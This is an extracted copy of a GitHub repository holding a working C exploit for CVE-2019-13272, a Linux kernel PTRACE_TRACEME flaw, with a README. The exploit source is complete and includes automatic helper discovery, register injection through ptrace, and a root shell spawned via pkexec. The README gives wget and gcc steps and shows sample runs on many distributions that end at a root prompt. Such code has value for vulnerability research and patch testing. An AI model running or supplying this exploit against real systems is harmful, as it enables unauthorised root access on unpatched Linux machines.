Full Code of jas502n/CVE-2019-13272 for AI

master 2590cfbe05b4 cached
2 files
16.2 KB
5.0k tokens
9 symbols
1 requests
Download .txt
Repository: jas502n/CVE-2019-13272
Branch: master
Commit: 2590cfbe05b4
Files: 2
Total size: 16.2 KB

Directory structure:
gitextract_p4isf4jd/

├── CVE-2019-13272.c
└── README.md

================================================
FILE CONTENTS
================================================

================================================
FILE: CVE-2019-13272.c
================================================
// Linux 4.10 < 5.1.17 PTRACE_TRACEME local root (CVE-2019-13272)
// Uses pkexec technique
// ---
// Original discovery and exploit author: Jann Horn
// - https://bugs.chromium.org/p/project-zero/issues/detail?id=1903
// ---
// <bcoles@gmail.com>
// - added known helper paths
// - added search for suitable helpers
// - added automatic targeting
// - changed target suid exectuable from passwd to pkexec
// https://github.com/bcoles/kernel-exploits/tree/master/CVE-2019-13272
// ---
// Tested on:
// - Ubuntu 16.04.5 kernel 4.15.0-29-generic
// - Ubuntu 18.04.1 kernel 4.15.0-20-generic
// - Ubuntu 19.04 kernel 5.0.0-15-generic
// - Ubuntu Mate 18.04.2 kernel 4.18.0-15-generic
// - Linux Mint 19 kernel 4.15.0-20-generic
// - Xubuntu 16.04.4 kernel 4.13.0-36-generic
// - ElementaryOS 0.4.1 4.8.0-52-generic
// - Backbox 6 kernel 4.18.0-21-generic
// - Parrot OS 4.5.1 kernel 4.19.0-parrot1-13t-amd64
// - Kali kernel 4.19.0-kali5-amd64
// - Redcore 1806 (LXQT) kernel 4.16.16-redcore
// - MX 18.3 kernel 4.19.37-2~mx17+1
// - RHEL 8.0 kernel 4.18.0-80.el8.x86_64
// - Debian 9.4.0 kernel 4.9.0-6-amd64
// - Debian 10.0.0 kernel 4.19.0-5-amd64
// - Devuan 2.0.0 kernel 4.9.0-6-amd64
// - SparkyLinux 5.8 kernel 4.19.0-5-amd64
// - Fedora Workstation 30 kernel 5.0.9-301.fc30.x86_64
// - Manjaro 18.0.3 kernel 4.19.23-1-MANJARO
// - Mageia 6 kernel 4.9.35-desktop-1.mga6
// - Antergos 18.7 kernel 4.17.6-1-ARCH
// ---
// user@linux-mint-19-2:~$ gcc -s poc.c -o ptrace_traceme_root
// user@linux-mint-19-2:~$ ./ptrace_traceme_root
// Linux 4.10 < 5.1.17 PTRACE_TRACEME local root (CVE-2019-13272)
// [.] Checking environment ...
// [~] Done, looks good
// [.] Searching for known helpers ...
// [~] Found known helper: /usr/sbin/mate-power-backlight-helper
// [.] Using helper: /usr/sbin/mate-power-backlight-helper
// [.] Spawning suid process (/usr/bin/pkexec) ...
// [.] Tracing midpid ...
// [~] Attached to midpid
// To run a command as administrator (user "root"), use "sudo <command>".
// See "man sudo_root" for details.
//
// root@linux-mint-19-2:/home/user#
// ---

#define _GNU_SOURCE
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <signal.h>
#include <stdio.h>
#include <fcntl.h>
#include <sched.h>
#include <stddef.h>
#include <stdarg.h>
#include <pwd.h>
#include <sys/prctl.h>
#include <sys/wait.h>
#include <sys/ptrace.h>
#include <sys/user.h>
#include <sys/syscall.h>
#include <sys/stat.h>
#include <linux/elf.h>

#define DEBUG

#ifdef DEBUG
#  define dprintf printf
#else
#  define dprintf
#endif

#define SAFE(expr) ({                   \
  typeof(expr) __res = (expr);          \
  if (__res == -1) {                    \
    dprintf("[-] Error: %s\n", #expr);  \
    return 0;                           \
  }                                     \
  __res;                                \
})
#define max(a,b) ((a)>(b) ? (a) : (b))

static const char *SHELL = "/bin/bash";

static int middle_success = 1;
static int block_pipe[2];
static int self_fd = -1;
static int dummy_status;
static const char *helper_path;
static const char *pkexec_path = "/usr/bin/pkexec";
static const char *pkaction_path = "/usr/bin/pkaction";
struct stat st;

const char *helpers[1024];

const char *known_helpers[] = {
  "/usr/lib/gnome-settings-daemon/gsd-backlight-helper",
  "/usr/lib/gnome-settings-daemon/gsd-wacom-led-helper",
  "/usr/lib/unity-settings-daemon/usd-backlight-helper",
  "/usr/lib/x86_64-linux-gnu/xfce4/session/xfsm-shutdown-helper",
  "/usr/sbin/mate-power-backlight-helper",
  "/usr/bin/xfpm-power-backlight-helper",
  "/usr/bin/lxqt-backlight_backend",
  "/usr/libexec/gsd-wacom-led-helper",
  "/usr/libexec/gsd-wacom-oled-helper",
  "/usr/libexec/gsd-backlight-helper",
  "/usr/lib/gsd-backlight-helper",
  "/usr/lib/gsd-wacom-led-helper",
  "/usr/lib/gsd-wacom-oled-helper",
};

/* temporary printf; returned pointer is valid until next tprintf */
static char *tprintf(char *fmt, ...) {
  static char buf[10000];
  va_list ap;
  va_start(ap, fmt);
  vsprintf(buf, fmt, ap);
  va_end(ap);
  return buf;
}

/*
 * fork, execute pkexec in parent, force parent to trace our child process,
 * execute suid executable (pkexec) in child.
 */
static int middle_main(void *dummy) {
  prctl(PR_SET_PDEATHSIG, SIGKILL);
  pid_t middle = getpid();

  self_fd = SAFE(open("/proc/self/exe", O_RDONLY));

  pid_t child = SAFE(fork());
  if (child == 0) {
    prctl(PR_SET_PDEATHSIG, SIGKILL);

    SAFE(dup2(self_fd, 42));

    /* spin until our parent becomes privileged (have to be fast here) */
    int proc_fd = SAFE(open(tprintf("/proc/%d/status", middle), O_RDONLY));
    char *needle = tprintf("\nUid:\t%d\t0\t", getuid());
    while (1) {
      char buf[1000];
      ssize_t buflen = SAFE(pread(proc_fd, buf, sizeof(buf)-1, 0));
      buf[buflen] = '\0';
      if (strstr(buf, needle)) break;
    }

    /*
     * this is where the bug is triggered.
     * while our parent is in the middle of pkexec, we force it to become our
     * tracer, with pkexec's creds as ptracer_cred.
     */
    SAFE(ptrace(PTRACE_TRACEME, 0, NULL, NULL));

    /*
     * now we execute a suid executable (pkexec).
     * Because the ptrace relationship is considered to be privileged,
     * this is a proper suid execution despite the attached tracer,
     * not a degraded one.
     * at the end of execve(), this process receives a SIGTRAP from ptrace.
     */
    execl(pkexec_path, basename(pkexec_path), NULL);

    dprintf("[-] execl: Executing suid executable failed");
    exit(EXIT_FAILURE);
  }

  SAFE(dup2(self_fd, 0));
  SAFE(dup2(block_pipe[1], 1));

  /* execute pkexec as current user */
  struct passwd *pw = getpwuid(getuid());
  if (pw == NULL) {
    dprintf("[-] getpwuid: Failed to retrieve username");
    exit(EXIT_FAILURE);
  }

  middle_success = 1;
  execl(pkexec_path, basename(pkexec_path), "--user", pw->pw_name,
        helper_path,
        "--help", NULL);
  middle_success = 0;
  dprintf("[-] execl: Executing pkexec failed");
  exit(EXIT_FAILURE);
}

/* ptrace pid and wait for signal */
static int force_exec_and_wait(pid_t pid, int exec_fd, char *arg0) {
  struct user_regs_struct regs;
  struct iovec iov = { .iov_base = &regs, .iov_len = sizeof(regs) };
  SAFE(ptrace(PTRACE_SYSCALL, pid, 0, NULL));
  SAFE(waitpid(pid, &dummy_status, 0));
  SAFE(ptrace(PTRACE_GETREGSET, pid, NT_PRSTATUS, &iov));

  /* set up indirect arguments */
  unsigned long scratch_area = (regs.rsp - 0x1000) & ~0xfffUL;
  struct injected_page {
    unsigned long argv[2];
    unsigned long envv[1];
    char arg0[8];
    char path[1];
  } ipage = {
    .argv = { scratch_area + offsetof(struct injected_page, arg0) }
  };
  strcpy(ipage.arg0, arg0);
  for (int i = 0; i < sizeof(ipage)/sizeof(long); i++) {
    unsigned long pdata = ((unsigned long *)&ipage)[i];
    SAFE(ptrace(PTRACE_POKETEXT, pid, scratch_area + i * sizeof(long),
                (void*)pdata));
  }

  /* execveat(exec_fd, path, argv, envv, flags) */
  regs.orig_rax = __NR_execveat;
  regs.rdi = exec_fd;
  regs.rsi = scratch_area + offsetof(struct injected_page, path);
  regs.rdx = scratch_area + offsetof(struct injected_page, argv);
  regs.r10 = scratch_area + offsetof(struct injected_page, envv);
  regs.r8 = AT_EMPTY_PATH;

  SAFE(ptrace(PTRACE_SETREGSET, pid, NT_PRSTATUS, &iov));
  SAFE(ptrace(PTRACE_DETACH, pid, 0, NULL));
  SAFE(waitpid(pid, &dummy_status, 0));
}

static int middle_stage2(void) {
  /* our child is hanging in signal delivery from execve()'s SIGTRAP */
  pid_t child = SAFE(waitpid(-1, &dummy_status, 0));
  force_exec_and_wait(child, 42, "stage3");
  return 0;
}

// * * * * * * * * * * * * * * * * root shell * * * * * * * * * * * * * * * * *

static int spawn_shell(void) {
  SAFE(setresgid(0, 0, 0));
  SAFE(setresuid(0, 0, 0));
  execlp(SHELL, basename(SHELL), NULL);
  dprintf("[-] execlp: Executing shell %s failed", SHELL);
  exit(EXIT_FAILURE);
}

// * * * * * * * * * * * * * * * * * Detect * * * * * * * * * * * * * * * * * *

static int check_env(void) {
  const char* xdg_session = getenv("XDG_SESSION_ID");

  dprintf("[.] Checking environment ...\n");

  if (stat(pkexec_path, &st) != 0) {
    dprintf("[-] Could not find pkexec executable at %s", pkexec_path);
    exit(EXIT_FAILURE);
  }
  if (stat(pkaction_path, &st) != 0) {
    dprintf("[-] Could not find pkaction executable at %s", pkaction_path);
    exit(EXIT_FAILURE);
  }
  if (xdg_session == NULL) {
    dprintf("[!] Warning: $XDG_SESSION_ID is not set\n");
    return 1;
  }
  if (system("/bin/loginctl --no-ask-password show-session $XDG_SESSION_ID | /bin/grep Remote=no >>/dev/null 2>>/dev/null") != 0) {
    dprintf("[!] Warning: Could not find active PolKit agent\n");
    return 1;
  }
  if (stat("/usr/sbin/getsebool", &st) == 0) {
    if (system("/usr/sbin/getsebool deny_ptrace 2>1 | /bin/grep -q on") == 0) {
      dprintf("[!] Warning: SELinux deny_ptrace is enabled\n");
      return 1;
    }
  }

  dprintf("[~] Done, looks good\n");

  return 0;
}

/*
 * Use pkaction to search PolKit policy actions for viable helper executables.
 * Check each action for allow_active=yes, extract the associated helper path,
 * and check the helper path exists.
 */
int find_helpers() {
  char cmd[1024];
  snprintf(cmd, sizeof(cmd), "%s --verbose", pkaction_path);
  FILE *fp;
  fp = popen(cmd, "r");
  if (fp == NULL) {
    dprintf("[-] Failed to run: %s\n", cmd);
    exit(EXIT_FAILURE);
  }

  char line[1024];
  char buffer[2048];
  int helper_index = 0;
  int useful_action = 0;
  static const char *needle = "org.freedesktop.policykit.exec.path -> ";
  int needle_length = strlen(needle);

  while (fgets(line, sizeof(line)-1, fp) != NULL) {
    /* check the action uses allow_active=yes*/
    if (strstr(line, "implicit active:")) {
      if (strstr(line, "yes")) {
        useful_action = 1;
      }
      continue;
    }

    if (useful_action == 0)
      continue;
    useful_action = 0;

    /* extract the helper path */
    int length = strlen(line);
    char* found = memmem(&line[0], length, needle, needle_length);
    if (found == NULL)
      continue;

    memset(buffer, 0, sizeof(buffer));
    for (int i = 0; found[needle_length + i] != '\n'; i++) {
      if (i >= sizeof(buffer)-1)
        continue;
      buffer[i] = found[needle_length + i];
    }

    if (strstr(&buffer[0], "/xf86-video-intel-backlight-helper") != 0 ||
      strstr(&buffer[0], "/cpugovctl") != 0 ||
      strstr(&buffer[0], "/package-system-locked") != 0 ||
      strstr(&buffer[0], "/cddistupgrader") != 0) {
      dprintf("[.] Ignoring blacklisted helper: %s\n", &buffer[0]);
      continue;
    }

    /* check the path exists */
    if (stat(&buffer[0], &st) != 0)
      continue;

    helpers[helper_index] = strndup(&buffer[0], strlen(buffer));
    helper_index++;

    if (helper_index >= sizeof(helpers)/sizeof(helpers[0]))
      break;
  }

  pclose(fp);
  return 0;
}

// * * * * * * * * * * * * * * * * * Main * * * * * * * * * * * * * * * * *

int ptrace_traceme_root() {
  dprintf("[.] Using helper: %s\n", helper_path);

  /*
   * set up a pipe such that the next write to it will block: packet mode,
   * limited to one packet
   */
  SAFE(pipe2(block_pipe, O_CLOEXEC|O_DIRECT));
  SAFE(fcntl(block_pipe[0], F_SETPIPE_SZ, 0x1000));
  char dummy = 0;
  SAFE(write(block_pipe[1], &dummy, 1));

  /* spawn pkexec in a child, and continue here once our child is in execve() */
  dprintf("[.] Spawning suid process (%s) ...\n", pkexec_path);
  static char middle_stack[1024*1024];
  pid_t midpid = SAFE(clone(middle_main, middle_stack+sizeof(middle_stack),
                            CLONE_VM|CLONE_VFORK|SIGCHLD, NULL));
  if (!middle_success) return 1;

  /*
   * wait for our child to go through both execve() calls (first pkexec, then
   * the executable permitted by polkit policy).
   */
  while (1) {
    int fd = open(tprintf("/proc/%d/comm", midpid), O_RDONLY);
    char buf[16];
    int buflen = SAFE(read(fd, buf, sizeof(buf)-1));
    buf[buflen] = '\0';
    *strchrnul(buf, '\n') = '\0';
    if (strncmp(buf, basename(helper_path), 15) == 0)
      break;
    usleep(100000);
  }

  /*
   * our child should have gone through both the privileged execve() and the
   * following execve() here
   */
  dprintf("[.] Tracing midpid ...\n");
  SAFE(ptrace(PTRACE_ATTACH, midpid, 0, NULL));
  SAFE(waitpid(midpid, &dummy_status, 0));
  dprintf("[~] Attached to midpid\n");

  force_exec_and_wait(midpid, 0, "stage2");
  exit(EXIT_SUCCESS);
}

int main(int argc, char **argv) {
  if (strcmp(argv[0], "stage2") == 0)
    return middle_stage2();
  if (strcmp(argv[0], "stage3") == 0)
    return spawn_shell();

  dprintf("Linux 4.10 < 5.1.17 PTRACE_TRACEME local root (CVE-2019-13272)\n");

  check_env();

  if (argc > 1 && strcmp(argv[1], "check") == 0) {
    exit(0);
  }

  /* Search for known helpers defined in 'known_helpers' array */
  dprintf("[.] Searching for known helpers ...\n");
  for (int i=0; i<sizeof(known_helpers)/sizeof(known_helpers[0]); i++) {
    if (stat(known_helpers[i], &st) == 0) {
      helper_path = known_helpers[i];
      dprintf("[~] Found known helper: %s\n", helper_path);
      ptrace_traceme_root();
    }
  }

  /* Search polkit policies for helper executables */
  dprintf("[.] Searching for useful helpers ...\n");
  find_helpers();
  for (int i=0; i<sizeof(helpers)/sizeof(helpers[0]); i++) {
    if (helpers[i] == NULL)
      break;

    if (stat(helpers[i], &st) == 0) {
      helper_path = helpers[i];
      ptrace_traceme_root();
    }
  }

  return 0;
}

================================================
FILE: README.md
================================================
# CVE-2019-13272 Linux local root exploit

### Linux 4.10 < 5.1.17 PTRACE_TRACEME local root (CVE-2019-13272)


[![asciicast](https://asciinema.org/a/6HFa1zk4bZKFjXDcr5LKnyiH1.svg)](https://asciinema.org/a/6HFa1zk4bZKFjXDcr5LKnyiH1)

```
In the Linux kernel before 5.1.17, 

ptrace_link in kernel/ptrace.c mishandles the recording of the credentials of a process that wants to create a ptrace relationship, 

which allows local users to obtain root access by leveraging certain scenarios with a parent-child process relationship,

where a parent drops privileges and calls execve (potentially allowing control by an attacker). 

One contributing factor is an object lifetime issue (which can also cause a panic). 

Another contributing factor is incorrect marking of a ptrace relationship as privileged, which is exploitable through (for example) Polkit's pkexec helper with PTRACE_TRACEME. 

NOTE: SELinux deny_ptrace might be a usable workaround in some environments.

在5.1.17之前的Linux内核中,
kernel / ptrace.c中的ptrace_link错误地处理了想要创建ptrace关系的进程的凭据记录,
这允许本地用户通过利用父子的某些方案来获取root访问权限 进程关系,父进程删除权限并调用execve(可能允许攻击者控制)。
一个影响因素是对象寿命问题(也可能导致恐慌)。 
另一个影响因素是将ptrace关系标记为特权,这可以通过(例如)Polkit的pkexec帮助程序与PTRACE_TRACEME进行利用。 
注意:在某些环境中,SELinux deny_ptrace可能是一种可用的解决方法。
```


![](./CVE-2019-13272.jpg)

 `wget https://raw.githubusercontent.com/jas502n/CVE-2019-13272/master/CVE-2019-13272.c`
 
 `gcc -s CVE-2019-13272.c -o pwned`
 
```
jas502n@Study:~/Desktop/CVE-2019-13272$ ./pwned 
Linux 4.10 < 5.1.17 PTRACE_TRACEME local root (CVE-2019-13272)                 
[.] Checking environment ...                                                   
[~] Done, looks good                                                           
[.] Searching for known helpers ...                                            
[~] Found known helper: /usr/lib/gnome-settings-daemon/gsd-backlight-helper    
[.] Using helper: /usr/lib/gnome-settings-daemon/gsd-backlight-helper          
[.] Spawning suid process (/usr/bin/pkexec) ...                                
[.] Tracing midpid ...                                                         
[~] Attached to midpid                                                         
To run a command as administrator (user "root"), use "sudo <command>".         
See "man sudo_root" for details.                                               
                                                                               
root@Study:/home/jas502n/Desktop/CVE-2019-13272#
```




### Updated version of Jann Horn's exploit for CVE-2019-13272.

`https://bugs.chromium.org/p/project-zero/issues/detail?id=1903`


Download .txt
gitextract_p4isf4jd/

├── CVE-2019-13272.c
└── README.md
Download .txt
SYMBOL INDEX (9 symbols across 1 files)

FILE: CVE-2019-13272.c
  type stat (line 100) | struct stat
  function middle_main (line 134) | static int middle_main(void *dummy) {
  function force_exec_and_wait (line 196) | static int force_exec_and_wait(pid_t pid, int exec_fd, char *arg0) {
  function middle_stage2 (line 233) | static int middle_stage2(void) {
  function spawn_shell (line 242) | static int spawn_shell(void) {
  function check_env (line 252) | static int check_env(void) {
  function find_helpers (line 290) | int find_helpers() {
  function ptrace_traceme_root (line 358) | int ptrace_traceme_root() {
  function main (line 405) | int main(int argc, char **argv) {
Condensed preview — 2 files, each showing path, character count, and a content snippet. Download the .json file or copy for the full structured content (18K chars).
[
  {
    "path": "CVE-2019-13272.c",
    "chars": 13962,
    "preview": "// Linux 4.10 < 5.1.17 PTRACE_TRACEME local root (CVE-2019-13272)\r\n// Uses pkexec technique\r\n// ---\r\n// Original discove"
  },
  {
    "path": "README.md",
    "chars": 2615,
    "preview": "# CVE-2019-13272 Linux local root exploit\n\n### Linux 4.10 < 5.1.17 PTRACE_TRACEME local root (CVE-2019-13272)\n\n\n[![ascii"
  }
]

About this extraction

This page contains the full source code of the jas502n/CVE-2019-13272 GitHub repository, extracted and formatted as plain text for AI agents and large language models (LLMs). The extraction includes 2 files (16.2 KB), approximately 5.0k tokens, and a symbol index with 9 extracted functions, classes, methods, constants, and types. Use this with OpenClaw, Claude, ChatGPT, Cursor, Windsurf, or any other AI tool that accepts text input. You can copy the full output to your clipboard or download it as a .txt file.

Extracted by GitExtract — free GitHub repo to text converter for AI. Built by Nikandr Surkov.

Copied to clipboard!